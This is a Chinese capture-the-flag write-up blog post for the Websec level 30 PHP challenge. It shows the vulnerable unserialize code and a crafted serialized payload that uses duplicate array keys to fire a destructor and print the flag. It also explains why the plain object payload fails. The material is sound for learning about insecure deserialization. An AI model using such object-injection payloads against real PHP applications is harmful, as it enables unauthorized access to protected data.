zoukankan      html  css  js  c++  java
  • Websec level 30

    前言

    昨天在易霖博搞的网络安全与执法竞赛看到的一道web题,实际上就是用两个原题凑起来的。。

    不过后面的一关没见过这里简单记录一下

    第一关

    打开是个登录界面,和BJDCTF的简单注入一模一样,连密码都一样。。

    第二关

    登录后得到

    <?php
    ini_set('display_errors', 1);
    error_reporting(E_ALL);
    
    include 'flag.php'; //defines $flag
    
    class B {
      function __destruct() {//当一个对象销毁时被调用或者脚本结束时调用
        global $flag;
        echo $flag;
      }
    }
    
    if (isset($_POST['payload'])) {
        ob_start();//打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。 
        $a = unserialize($_POST['payload']);
        if ($a === False) {
            ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
        }
        throw new Exception('Something tragic happened');//抛出一个错误
    }
    ?>
    

    还是原题 Websec level 30

    payload:

    a:2:{i:0;O:1:"B":0:{}i:0;i:1;}
    

    详细可以参考:
    [https://kangwoosun.github.io/webhacking/2020/03/28/Websec/]
    [https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/#comments]
    [https://www.evonide.com/fuzzing-unserialize/]

    以下是个人的浅薄理解
    如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:"B":0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag

    这题如果直接传入

    O:1:"B":0:{}
    

    是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct

  • 相关阅读:
    windows任务计划
    PHP创建多级文件夹
    js正则表达式(不断总结中....)
    js随机改变背景颜色
    提高PHP代码质量36计
    PHP中使用Filter进行数据安全过滤
    CSS颜色代码大全
    正则表达式的修饰符
    创建索引视图
    读取xml中的所有文件名
  • 原文地址:https://www.cnblogs.com/lceFIre/p/12783079.html
Copyright © 2011-2022 走看看